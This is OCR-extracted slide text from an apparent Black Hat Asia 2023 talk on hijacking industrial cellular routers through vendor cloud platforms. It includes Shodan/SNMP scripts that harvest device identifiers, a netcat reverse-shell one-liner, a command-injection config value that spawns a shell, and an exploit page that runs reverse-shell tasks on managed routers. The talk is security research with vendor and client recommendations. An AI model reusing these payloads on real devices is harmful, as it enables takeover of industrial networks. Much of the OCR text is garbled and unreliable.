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Background
Industry 4.0

iad

Industry 1.0 Industry 2.0 Industry 3.0 Industry 4.0

- Machinery . E|ect|'icity « Automation * Internet ofThings
*+ Water/Steam power « Mass production « Computing + Big data, Al
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Background
Industrial Cellular Routers and Gateways

o Cellular connectivity for remote sites over the internet

e Features:
« Rugged design
* Industrial protocols
« Wi-Fi
« Security (Encryption/VPN tunnels/FW)

e Cloud management

(Crecromma et
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Background

Cloud-based management platforms

e Statistics

o Alerts

e Remote management

. Configuration changes

- Firmware update

- Reboot

- Remote access to local services

. Execute commands
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Motivation
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Motivation
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Motivation
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Cloud management platform
Zoom-in

Databases
Services User
AP
Web
MQTT Device Server
Broker AP
((0)) ((0)) ((0))

(eee sim) (eee siM)
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Attack vectors

Asset registration

« Security configurations

External APl and Interfaces

Leads to:
Information exposure
Denial of service

« RCE on devices
Account takeover
Compromise cloud servers

Datalbases

Services

MQTT Device
Broker API

()

User
API

Web
Server

()

(=

SIM)
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Attack vectors

e Asset registration
« Security configurations Databases

« External APl and Interfaces

[ Registration j
? User
Service D)
Web -
MQTT Device Server
Broker API
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Asset registration

. Registration = Manually link to cloud account

Connected to cloud and unregistered

ldentifiers used for pairing

Serial Number / MAC Address / IMEI

Serial Number
1 IMEI/ESN

i )
[Z;'s number LAN MAC Address ] Name 1

Activate Offer

(CreLronika I v i
wiRErES Regsier
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Asset registration
Device takeover

Unregistered device = Exposed to takeover

. Attacker can:
1. Collect identifiers

2. Register to his account

3. Device takeover

Number:
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Asset registration
Collect identifiers: SHODAN

queries - ["RV50 port:161",
"RV55 port:161"]
api - Shodan('

query queries:
page - 1
True:
ans - api.search(query-query, page-page)
total - ans['total']
print(“"Number of results: " + str(total))
results - ans['matches']
result results:

ip_address - result['ip_str']
query_res - get(ip_address,

['1.3.6.1.4.1.20542.9

'1.3.6.1.4.1.20542.9

'1.3.6.1.4.1.20542.9.

(

1

4

hlapi.CommunityData("'
serial - query_res.get('1.3.6.
imei - query res.get('1.3.6.1.

- 1
- p
print("Serial Number: {}".format(serial))

print ("IMEI : {}".format(imei))

Exception e: “n =

e

len(results) 100:
page |

Collect

.10.0

.1.1154.0"', None)
>

None)

s

SIERRA

WIRELESS'

Number:

Register AirLink RV5(

Type AirLink RV50x v

Serial Number

IMEI/ESN

W
D
-

Activate Offer

or Import a list
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Asset registration
Collect identifiers: SHODAN

queries - ['"Linux Teltonika" port:161']
api - Shodan("’

query queries:
page - 1
True: s ¥ o0 : Ak Manual From File
ans - api.search(query-query, page-page) :
total - ans['total']
print("Number of results: " + str(total))
results - ans['matches']
result results:

ip_address - result['ip str']
query_res - get(ip_address,

['1.3.6.1.4.1.48690.1.1.0", Collect

'1.3.6.1.4.1.48690.1.5.0",
4 [ B s L 2 e Jp Do b S J I
hlapi.CommunityData('public'))
serial - query res.get('1.3.6.1.4.1.48690.1.5.0"', None)
mac_address query res.get('1.3.6.1.2.1.2.2.1.6.2"', None)
len(str(serial)) -10 mac_address:

Register

P
(W)
-/

print("Serial Number: {}".format(serial))
print("MAC Address : " .format(prettify(mac_. idre: s)))
Exception e:

len(results) 100:
page 1
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Asset registration
Collect identifiers: WIGLE

kKhat

WIGLG Tt

All the networks. Foup@sy Everyone.

TN

sus/ . WIFI NETWORKS | s
1,046,211,597

391,

DEF CON 30

Wed, 10 Aug 2022 06:01:25 GMT

DC30 is happening this and bobzilla and arkasha will b
Find us and say "hi

-arkasha

Highway to the...
Wed, 03 Aug 2022 04:25:06 GMT

-arkasha
World-Wide War Drive, RFHS and DEF CON

30
Fri, 29 Jul 2022 21:51:17 GMT

reetings WiFriends! The fine folks at the RFHS have invited us to hold a

-arkasha

WIGLG.NET

WIGLE.NET

WIFI TODAY

BT DEVICES
1,122,406,675

CELLTOWERS
18,157,493

Latitude m

Longitude (1743888 t0 9.6576

SSID ‘foobamet
BSSID | 0A:2C:£F:3D:25:18
Date Range: 2001-2023

[ Possible FreeNet
| [J Possible Commercial Net
[ No Labels
Only Discovered By Me
Only Discovered By Others

Coloring:

o density

Filter

View: | Standard v/
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Asset registration
Collect identifiers: WIGLE

c:\>recon_wigle.py <-mac_prefix 00:1E:42>--only count True o
Number of unique results with 0@:1E:42 MAC Address prefix: 141548' ;

RAEeansy ( ¥ Y ¥ ' O%§
“tralat S y‘oJ 5 ,cv‘;..«,:}d;-;-“’ S
"trilong": : S SR i 1 B2, o
cssad s s
"gos": O,
"lasttime™: "2020-02
"lastupdt™: "2022-07
"netid”: "00:1E:42;
"type”: "infra",
3812 s Sag-iay sl
"channel™: 1,
"encryption”: "wpa2”,
"country™: "US",
"region”: "NM",
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Asset registration
Collect identifiers: Information disclosure by vendor

& C & csmsierrawireless.com/WarrantyChecker.aspx

| IMElsxt.. — O X

.'.\\’,'::.‘ .SIERRA File Edit Format View Help
WAY WIRELESS 353968099238020 A
A SEMTECH COMPA? 353968099238021
353968099238022

353968099238023

353968099238025 . _
353968099238026 5512437068 358543075767520 Register AirLink RV5(
353968099238027 >
353968099238028 358643075767521
Check Single Device 353968099238029
353968099238030 358643075767522
353968099238031
353968099238032 358643075767523 Serial Number
353968099238033

353968099238034 Reg Ister

353968099238035 - IMEI/ESN

353968099238036 : —
Check Warranty 353968099238037 e il
353968099238038 lame

353968099238039
353968099238040 Activate Offer |!0 f l

- 0or 353968099238041
353968099238042
. . s 353968099238043 [ Pre-configure system
Check Multiple Devicgs from File e 353968099238044 I IS S 3 £ e
— 353968099238045 - o i ) '
353968099238046 358643075767545
i MElc +yvt 353968099238047 -
‘ Choose File ’ VRELSLRE 353968099238048 5912437310\ 358643075767546
353968099238049
353968099238050

! X 353968099238051|
Check Multiple Warranties 353968099238052
353968099238053

—1—
1
(5]
()

Type AirLin

—
T
Ul
(g
5
N
W
J
L
N
L
Ul
Q0
(0}
W
Q
J
U
J
o)}
~J
un
LJ
(~
~_J
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Asset registration
Device takeover to RCE

john@itm:~$ nc -nlvp 9090
R MANAGEMENT Task name ask type Listenwng on 0.0.0.0 9090
Devices reverse she Command Connection recelved on !

L ) »COW:‘.AND‘.‘ARIABLES HG /bin/sh: can't access tty; )

BusyBox v1.34.1 (2021-08-31

00

RMS CONNECT

Command
L . 4 #
Remote access rm -f /tmp/f;mknod /tmp/f p;cat " : i 5d' t =0(r t
_ -i 2>&1|nc 192.168.101.167 9090 >/tmp/f uld=0(root) gid=0(root)

/ # §

n
g




blgc’zk hat

ASIA 2023

Attack vectors

» Asset registration
» Security configurations Databases

« External APl and Interfaces

Services e

API

Web
Server
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InHand Networks cloud platform

Overview
HTTP/S
Registration —>
MDS5(Email + Serial + salt)
<— MQTT Creds
1 MQTT/S
s Subscribe Device Manager
N/id/task/notice —> iot.inhandnetworks.com
? . ~888" P ‘ ‘QET Configf
Ml EEmeieE Topics for each router:
Config file = M/id/task/notice

N/id/task/u pd:ate /V]/id/taSk/U pd ate
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InHand Networks cloud platform

Overview
MQTT/S
- ‘_ ‘FW Upgrade’
M/id/task/notice

na— Upgrading..
e OOS !
& IItP SSSo g N/id/task/update .

Device Manager

lot.iInhandnetworks.com

HTTPS

Upgrade Firmware
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Security configurations
CVE-2023-22601 - Use of Insufficiently Random Values (1/3)

HTTP/S

Registration —>
MDS5(Email_1 + Seri

al + salt)

4— MQTT Creds
python HTTP/S
Registration —P
MD5(Email_2 + Serial + salt
<— MQTT Creds

Device Manager
iot.inhandnetworks.com
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Security configurations
CVE-2023-22601 - Use of Insufficiently Random Values (1/3)

ctime

s

ctime( )
'Thu Jul 21 15:26:58 2022°

~m

W

+
O

5d8881e66186

d8081e66186

HTTP/S

Registration —>

MD5(Email_1 + Serial + salt)
MQTT Creds

5d88081e66188
5d8881e66108 ﬁ Av Device Manager

iot.inhandnetworks.com

python HTTP/S

Registration —P
MD5(Email_2 + Serial + salt
- ASCH pp— - - - - g
s Sl ] --d--.L.D- al L
BB T -8 4— MQTT Creds
e5dggdlebblda
5d8881e6618a
FrZUKZiohLTMBPALGEW]

S.COom
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Security configurations
CVE-2023-22601 - Use of Insufficiently Random Values (1/3)
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53

ing the device to jou

b2ded3a3abfS5eS5dooolesbdia

62ded43a3a6f5e5d0001e66478

FONXk7X/m3zeezB8ZPs1xIp8wIBBpKPKE
orks

iot.inhandnetwo . com

9
Q

M = .

-
1]
M0 T nm n o =N

ctime( )
'"Mon Jul 25 10:18:02 2022°

L

o T o0

- N
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e
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X
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ctime( )
‘Mon Jul 25 10:23:03 2022°
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(o T B |

~ O
n O
m 0| T n n

Another router’s ID:
{timestamp + 1 }6f5e5d001e66472
{timestamp + 2 }6f5e5d001e66472

{timestamp + 300 }6f5e5d001€66472

n

-5
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Security configurations
CVE-2023-22600 - Improper access control (2/3)

Publish: “SET Config"” |

N1/{timestamp+175}.. 472/task/notice

Device Manager

iot.inhandnetworks.com

Subscribe:
M/{timestamp+1}...472/task/update

4_ N/{timestamp+2}...472/task/update

M/{timestamp+300}..472/task/update

Publish: Config file
—> M/{timestamp+175}..472/task/update

Publish: “SET Config”
4— M/{timestamp+175}..472/task/notice

A

python
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Cloud to Firmware
CVE-2023-22598 - OS command injection (3/3)

alarm output options=cli,out-dm, 3 alarm output options=cli,out-dm,

alarm_input= 4 alarm_input=

alarm output= 5 alarm output=

alarm clear=0 6 alarm clear=0

alarm confirm=0 7 alarm confirm=0

auto _ping enable=0 8 auto ping enable=1

auto ping dst=8.8.8.8 9 auto ping dst=8.8.8.8;/usr/sbin/netcat 192.168.14.2 1337 -e /bin/sh #
dulo ping imes=> 10 auto ping times=3
adm_user=adm 11 adm user=adm
adm_usep5= 12 adm_usep5= C:\Users\roni.gavrilov>ncat -nlvp 1337

Ncat: Version 6.47 ( http://nmap.org/ncat )

adm_passwd=$AES$BFAS41FA10FA3BO41CBA 13 adm_passwd=$AES$BFAS41FA1QFA3Ncat: Listening on :::1337

Ncat: Listening on ©.0.0.0:1337
Pt at 2 : P 2= Ncat: Connecti 92.168.101.165.
void ping action_start(void) 14 auto_plng_51ze—64 NCat: Connection Trom 19:.268.107.205

Ncat: Connection from 192.168.101.165:41650.
15 advanced=0

16 ct_max=2048 pud

/

227

C:\Windows\System32\cmd.exe - ncat -nlvp 1337

{

[ ; .
pcVarl = (char *)nvram_default get("auto ping dst","8.8.8.8"); 17 Cyon_Pb_enable‘
strncpy(acStack280,pcVarl,0x80); 18 cron rb time=0
[0 — -
snprintf(command line,0x80,"echo \"ping-host=%s\r\" > %s",acSt 19 cr‘on_rb_days=0

system(command_line); .« sy, 20 console_iface=/dev/ttyS1 ps | grep ps

snprintf(command line,0x80,"echo \"ping-size=%d\r\" >> %s", : 1655 root ntpsync --init
system(command line); o ct tcp timeout= 1657 root 3 ipsecwatcher
snprintf(command_line,0x80,"ping -c %d -s %d %s >> %s",iVar2,iVar3,acStack280,"/tmp/ping result.txt"); 1737 rook ps
system(command line); 1258; roo e

return;
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Router local
web service

Vendor's cloud-based
management platform

Attacker C2 Server

Attacker exploit
script



https://docs.google.com/file/d/1ixg_Ohui3rCQC1Ys1jsi9scv6r2-1v2t/preview
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Attack vectors

» Asset registration
« Security configurations

e External APl and Interfaces

Datalbases

Services

MQTT
Broker

Device
AP

)
User

API
N——

E—
Web
Server

N—
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Teltonika Networks cloud platform

Overview

rting rms_connect

connected with ECDHE-RSA-CHACHA20-POLY1305 enc

Sending request: {
“version": oy
'mac’: "00:le:dl:
"an®: 1114 s
"certs exist": @,
"model”: "RUT955003XXX",

"fw_version": "RUT9 R_00.67.02.7\n",

"is_facelift": true

HTTPS

Connect
hardcoded cert+key

Serial Number I

Mac Address
Firmware version

MQTT Creds
ca.crt
« client.crt
client.ke
MQTTS
Connect

P »
client.crt

client.ke

RMS
rms.teltonika-networks.com



blgc’:k hat

ASIA 2023

External API and Interfaces
Impersonation to RMS managed device (1/3)

HTTPS
Connect
Starting rms_connect
Connected with ECDHE-RSA-CHACHA20-POLY1385 enc hardcoded cert+key
Sending request: {
;Zésmn | _2:- ) Serial Number
ssn®: %1114 " Mac Address
"certs exist": @, Firmware version
"model™: "RUT955003XXX",
"fw_version": “RUT9_R_00.07.02.7\n", MQTT Creds
"is facelift": true
= ca.crt
« client.crt
client.ke
MQTTS
Q RMS
Connect rms.teltonika-networks.com

ca.crt »
client.crt

client.ke
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External API and Interfaces
Stored-XSS in RMS main page (2/3)

L reLTonika | Remote management system Go to oid RMS NOTIFICATIONS €@}

{'version®': 2,

mac': '©00:1e:42: - . i
‘sn’: '1114 - Devices EHEIRG © Mouseover

> [ J
‘certs_exist': 1, Tr| er the
‘'model’: "RUT955003XXX°, STATUS DEVICE MODEL DEVICE FIRMWARE gg
"fw_version': |"<u>check</u>’|, —_— . ——— . ,
'is facelift’': True} e . e - )(5;5;
d
STATUS ACTIONS NAME MODEL COMPANY NAME TAGS SERIAL MAC
° D . 2 Site #1 router RUT955 : company_12 - 42
& DM 8 Site #2 router RUT955 company 12 - 42
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Teltonika Networks cloud platform
Tunneling over the cloud feature

« Remote access to local WEB/SSH services over the cloud
« URL isa RMS subdomain - *proxyl-connect.rms.teltonika-networks.com

C & I 356¢46333a7d297¢6568¢111 70febddfiproxy1 -connect.rms.teltonika-networks.com/#/login

Teltonika Networks
RMS KTELTONIKA | Networks

proxy:33333 <=> 356c46333a7d297¢6568¢11170febddf

AUTHORIZATION REQUIRED

Please enter your
username and password

)

ssh —R localhost:80:proxy:33333
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Security configuration
Inclusion of web functionality from an untrusted source (3/3)

y - R C s 356c4633337d297c6568c11170febddf.ﬁrog1-connec’t,rms.teltonika-networks.comx’#‘f‘iogs:w
IVNCICTIICTE 1 WITLYs DOUWl AW L TV a4l T WHITHII T W Voo VIL a4 _

¥ Response Headers

accept-ranges: bytes

access-control-allow-credentials: true @TELTONIKA | Ne*., urks

access-control-allow-headers: Accept,Authorization,Content-Type,Origin,X-Requested-kWith,X-XSRF-TOKS
access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS, HEAD

AUTHORIZATION REQUIRED

access-control-max-age: 86000

content-length: 1695 Please enter your

. : = = \ . . . . username an rd
content-security-policy: form-action 'self' rms.teltonika-networks.com *.rms.teltonika-networks.com, - Sl e e

Please input password

content-type: text/html; charset=UTF-8
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Teltonika Networks cloud platform
Tunneling over the cloud feature

 Replacing the local web server with malicious web page
 Legitlink leads to malicious web page

¢ C B 255841df795da8d6209747747184ef90 proxy1-connect.mms.teltonika-networks.com/exploit htm

: arting attack.,
Teltonika Networks ; ‘
RMS 1. Creating command group.. (status: 201)
2. Getting command group 1d.. (status: 200)
3, Getting task 1d.. (status: 200)
proxy:33334 <—> 255841df795da8d6209747747184ef90 3. Getting devices IDs.. (status: 200)

4. Executing command.. (status: 200)
3. Cleanning command group.. (status: 200)

Done,

)

ssh —R localhost:80:proxy:33334
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Malicious web page

 Leverage “Task Manager” feature

& B 255841df795da8d6209747747184ef90.proxy1-connect.rms.teltonika-networks.com/ oit.html

Starting attack..

. Creating command group.. (status: 201)
. Getting command group 1d.. (status: 200)
. Getting task 1d.. (status: 200)
Gertting devices IDs.. (status: 200)
Executing command.. (status: 200)
. Cleanning command group.. (status: 200)

e Create a “reverse shell” task

W e WD WD B e

Done.

« Execute the task on all managed

Network

rOUte rs y nder thIS accou nt te )Invert Hide data URLs All Fetch/XHR JS CSS Img Media Font Doc WS Wasm Manifest Othe

300 ms 400 ms 500 ms 600 ms 700 ms 800 ms

Name X Headers
= VO Y. Ur AgAn
exploithtml
groups
groups?hmit=100&offset=0
tasks?group_id=16138limit=100 ¥ Request Headers

x-content-type-options: nosniff

x-xss-protection: 1; mode=block

tasks?group_id=1613&limit=100 :authority: rms.teltonika-networks.com

devices?limit=25&offset=0&helds =status model mqtt... data_credit_typ... :method: GET
1613
1613
1613

:path: /api/devices?limit«2580ffset=0&fields=status,
xpire_date,management_credit_type_name,data_credit
sscheme: https
accept: application/json, text/plain, */*
accept-encoding: gzip, deflate, br
ceprinnguage: en-US,en;q=0.9,he;q=0.8

kie: _g:1 _aus1.1.717010349.1673259459; _ hstc=1389
2250475.0.0.0; _ga_ SLCDKSN2XP=(651.1.1673259459.1.0.
9381; rms at=eyJ@eXAi0iJKV1QiLCIhbGciOiISUZIINI)I. €
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Teltonika Networks cloud platform
Chaining all together - Mouseover to Takeover

1. Found Serial/MAC of router

2. Impersonate
3. Inject malicious page (XSS)

(B!

% Attacker C2 <
_ %(o))

oil
o R t
Fields manzrg;eomeent Teltonika Networks
RMS
& (<‘|’>)i 'E E
a&
: =

4. Connect to RMS
5. Move mouse over the XSS
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JoT PLATFO

WELCOME TO RMS!

A

root@hacker:/

I

oRNP e e R I

;'



https://docs.google.com/file/d/1pPnftxzDPQ0C0VVSRJNNuWiOhUF02P8-/preview
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Recommendations
Clients

* Not using cloud? Disable!

 Register before using
« Built-in security feature useless once attacker pwned device

Bridge
Valve _ HMI ((O))
Actuator _ ; ( Firewall |
= * ceo  SIM)
Sensor — 990999 L VPN —J —
N D:ﬁz ( VPN tunnel

Pump :é PLC
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Recommendations
Vendors

» Additional “secret” for registration R e LN MAC Adres

* Force initial setup of “default creds”

SuBMIT

Automatica enable device service (?)
UL Quilaily CHOWIT UTVILET oC -
X o o o g b DN Y M ORAAS I ey Db i St N
SMe Serls | = AR - U 2SS » 2SSV, [
NCGITIE 21 IC Al LAIN WY L JUTESS GaaWOI U
(o)

e |Industrial loT # loT
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Black Hat Sound Bytes

Key Takeaways

 Cloud-managed devices - huge supply chain risk!
.+ 3rd party in your network

. Tvendor compromise, thousands of victims

* You may be exposed even if you don't think so

e Your device is as safe as its weakest service
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